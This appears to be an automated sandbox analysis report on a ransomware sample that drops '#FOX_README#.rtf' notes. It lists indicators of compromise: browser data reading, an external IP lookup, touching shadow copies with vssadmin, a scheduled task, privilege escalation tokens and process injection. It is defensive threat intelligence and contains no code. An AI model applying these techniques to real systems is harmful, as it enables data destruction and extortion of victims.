Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation wscript.exe - Executes dropped EXE 3 IoCs
pid Process 3528 NWqByALz.exe 8860 HPTbJaR9.exe 6812 HPTbJaR964.exe - Modifies file permissions 1 TTPs 1 IoCs
pid Process 10140 takeown.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral10/files/0x0006000000023239-19985.dat upx behavioral10/memory/8860-20177-0x0000000000400000-0x0000000000477000-memory.dmp upx - Drops desktop.ini file(s) 30 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Videos\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Pictures\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Music\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\$Recycle.Bin\S-1-5-21-1168293393-3419776239-306423207-1000\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Desktop\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\3D Objects\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Documents\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\AccountPictures\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Videos\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-1168293393-3419776239-306423207-1000\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Libraries\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Downloads\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Searches\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Links\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Music\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Documents\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe - Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\Z: HPTbJaR964.exe File opened (read-only) \??\V: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\S: HPTbJaR964.exe File opened (read-only) \??\Y: HPTbJaR964.exe File opened (read-only) \??\G: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\X: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\H: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\G: HPTbJaR964.exe File opened (read-only) \??\Y: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\M: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\J: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\A: HPTbJaR964.exe File opened (read-only) \??\M: HPTbJaR964.exe File opened (read-only) \??\U: HPTbJaR964.exe File opened (read-only) \??\X: HPTbJaR964.exe File opened (read-only) \??\O: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\U: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\T: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\K: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\B: HPTbJaR964.exe File opened (read-only) \??\J: HPTbJaR964.exe File opened (read-only) \??\K: HPTbJaR964.exe File opened (read-only) \??\P: HPTbJaR964.exe File opened (read-only) \??\W: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\Q: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\L: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\H: HPTbJaR964.exe File opened (read-only) \??\Q: HPTbJaR964.exe File opened (read-only) \??\R: HPTbJaR964.exe File opened (read-only) \??\R: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\S: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\N: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\I: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\E: HPTbJaR964.exe File opened (read-only) \??\I: HPTbJaR964.exe File opened (read-only) \??\L: HPTbJaR964.exe File opened (read-only) \??\N: HPTbJaR964.exe File opened (read-only) \??\Z: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\V: HPTbJaR964.exe File opened (read-only) \??\W: HPTbJaR964.exe File opened (read-only) \??\T: HPTbJaR964.exe File opened (read-only) \??\O: HPTbJaR964.exe File opened (read-only) \??\P: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 147 myexternalip.com - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\MyZplpC7.bmp" reg.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\OneNoteR_Retail-ppd.xrm-ms 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\VBAJET32.DLL 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\de\Microsoft.Build.Engine.resources.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_sortedby_up_selected_18.svg 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\cstm_brand_preview2x.png 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\AppStore_icon.svg 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Trust Protection Lists\Sigma\Staging.DATA 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\QuickStyles\linessimple.dotx 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterBold.ttf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Office\root\Integration\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Wisp.thmx 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.DataIntegration.FuzzyMatching.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fi-fi\ui-strings.js 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hr-hr\ui-strings.js 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl64.DllA\OpenSSL64.DllA\libcrypto-1_1-x64.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\sk-sk\ui-strings.js 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\plugin.js 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft\EdgeUpdate_bk\Download\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}\1.3.181.5\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.25\System.Diagnostics.DiagnosticSource.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlusVL_MAK-ul-oob.xrm-ms 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_filter-focus_32.svg 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\1033\VVIEWRES.DLL 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\dotnet\LICENSE.txt 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Google\Chrome\Application\106.0.5249.119\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PersonalR_OEM_Perp-pl.xrm-ms 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\Fonts\private\SEGOEUISL.TTF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_filterselected-default_32.svg 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.36.151\goopdateres_mr.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sv-se\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\dcpr.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk-1.8\jre\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ucrtbase.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN\EXPEDITN.ELM 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\root\ui-strings.js 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\local_policy.jar 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\vk_swiftshader.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\ja-jp\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-fr\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.25\System.ObjectModel.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\te.pak 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019VL_MAK_AE-ul-oob.xrm-ms 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSO0127.ACL 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\manifest.json 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\zh-TW.pak.DATA 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sk-sk\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ja-jp\ui-strings.js 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\it\Microsoft.Build.Engine.resources.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ko-kr\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\root\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected] 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_OEM_Perp-ul-phn.xrm-ms 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Standard2019VL_MAK_AE-ppd.xrm-ms 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\audio_filter\libstereo_widen_plugin.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\access\libudp_plugin.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nl-nl\ui-strings.js 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons2x.png 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\7-Zip\Lang\da.txt 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\7-Zip\7-zip.chm 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SKY\PREVIEW.GIF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\it\System.Data.Linq.Resources.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\es-es\ui-strings.js 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\uk-ua\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 7008 schtasks.exe - Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 9372 vssadmin.exe - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 5264 powershell.exe 5264 powershell.exe 6812 HPTbJaR964.exe 6812 HPTbJaR964.exe 6812 HPTbJaR964.exe 6812 HPTbJaR964.exe 6812 HPTbJaR964.exe 6812 HPTbJaR964.exe 6812 HPTbJaR964.exe 6812 HPTbJaR964.exe 6812 HPTbJaR964.exe 6812 HPTbJaR964.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 6812 HPTbJaR964.exe - Suspicious use of AdjustPrivilegeToken 49 IoCs
description pid Process Token: SeDebugPrivilege 5264 powershell.exe Token: SeTakeOwnershipPrivilege 10140 takeown.exe Token: SeDebugPrivilege 6812 HPTbJaR964.exe Token: SeLoadDriverPrivilege 6812 HPTbJaR964.exe Token: SeBackupPrivilege 7596 vssvc.exe Token: SeRestorePrivilege 7596 vssvc.exe Token: SeAuditPrivilege 7596 vssvc.exe Token: SeIncreaseQuotaPrivilege 9712 WMIC.exe Token: SeSecurityPrivilege 9712 WMIC.exe Token: SeTakeOwnershipPrivilege 9712 WMIC.exe Token: SeLoadDriverPrivilege 9712 WMIC.exe Token: SeSystemProfilePrivilege 9712 WMIC.exe Token: SeSystemtimePrivilege 9712 WMIC.exe Token: SeProfSingleProcessPrivilege 9712 WMIC.exe Token: SeIncBasePriorityPrivilege 9712 WMIC.exe Token: SeCreatePagefilePrivilege 9712 WMIC.exe Token: SeBackupPrivilege 9712 WMIC.exe Token: SeRestorePrivilege 9712 WMIC.exe Token: SeShutdownPrivilege 9712 WMIC.exe Token: SeDebugPrivilege 9712 WMIC.exe Token: SeSystemEnvironmentPrivilege 9712 WMIC.exe Token: SeRemoteShutdownPrivilege 9712 WMIC.exe Token: SeUndockPrivilege 9712 WMIC.exe Token: SeManageVolumePrivilege 9712 WMIC.exe Token: 33 9712 WMIC.exe Token: 34 9712 WMIC.exe Token: 35 9712 WMIC.exe Token: 36 9712 WMIC.exe Token: SeIncreaseQuotaPrivilege 9712 WMIC.exe Token: SeSecurityPrivilege 9712 WMIC.exe Token: SeTakeOwnershipPrivilege 9712 WMIC.exe Token: SeLoadDriverPrivilege 9712 WMIC.exe Token: SeSystemProfilePrivilege 9712 WMIC.exe Token: SeSystemtimePrivilege 9712 WMIC.exe Token: SeProfSingleProcessPrivilege 9712 WMIC.exe Token: SeIncBasePriorityPrivilege 9712 WMIC.exe Token: SeCreatePagefilePrivilege 9712 WMIC.exe Token: SeBackupPrivilege 9712 WMIC.exe Token: SeRestorePrivilege 9712 WMIC.exe Token: SeShutdownPrivilege 9712 WMIC.exe Token: SeDebugPrivilege 9712 WMIC.exe Token: SeSystemEnvironmentPrivilege 9712 WMIC.exe Token: SeRemoteShutdownPrivilege 9712 WMIC.exe Token: SeUndockPrivilege 9712 WMIC.exe Token: SeManageVolumePrivilege 9712 WMIC.exe Token: 33 9712 WMIC.exe Token: 34 9712 WMIC.exe Token: 35 9712 WMIC.exe Token: 36 9712 WMIC.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 756 wrote to memory of 4900 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 85 PID 756 wrote to memory of 4900 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 85 PID 756 wrote to memory of 4900 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 85 PID 756 wrote to memory of 3528 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 88 PID 756 wrote to memory of 3528 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 88 PID 756 wrote to memory of 3528 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 88 PID 756 wrote to memory of 1260 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 93 PID 756 wrote to memory of 1260 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 93 PID 756 wrote to memory of 1260 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 93 PID 1260 wrote to memory of 5264 1260 cmd.exe 95 PID 1260 wrote to memory of 5264 1260 cmd.exe 95 PID 1260 wrote to memory of 5264 1260 cmd.exe 95 PID 756 wrote to memory of 5688 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 99 PID 756 wrote to memory of 5688 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 99 PID 756 wrote to memory of 5688 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 99 PID 756 wrote to memory of 4804 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 98 PID 756 wrote to memory of 4804 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 98 PID 756 wrote to memory of 4804 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 98 PID 5688 wrote to memory of 4448 5688 cmd.exe 101 PID 5688 wrote to memory of 4448 5688 cmd.exe 101 PID 5688 wrote to memory of 4448 5688 cmd.exe 101 PID 5688 wrote to memory of 2852 5688 cmd.exe 103 PID 5688 wrote to memory of 2852 5688 cmd.exe 103 PID 5688 wrote to memory of 2852 5688 cmd.exe 103 PID 756 wrote to memory of 888 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 102 PID 756 wrote to memory of 888 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 102 PID 756 wrote to memory of 888 756 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 102 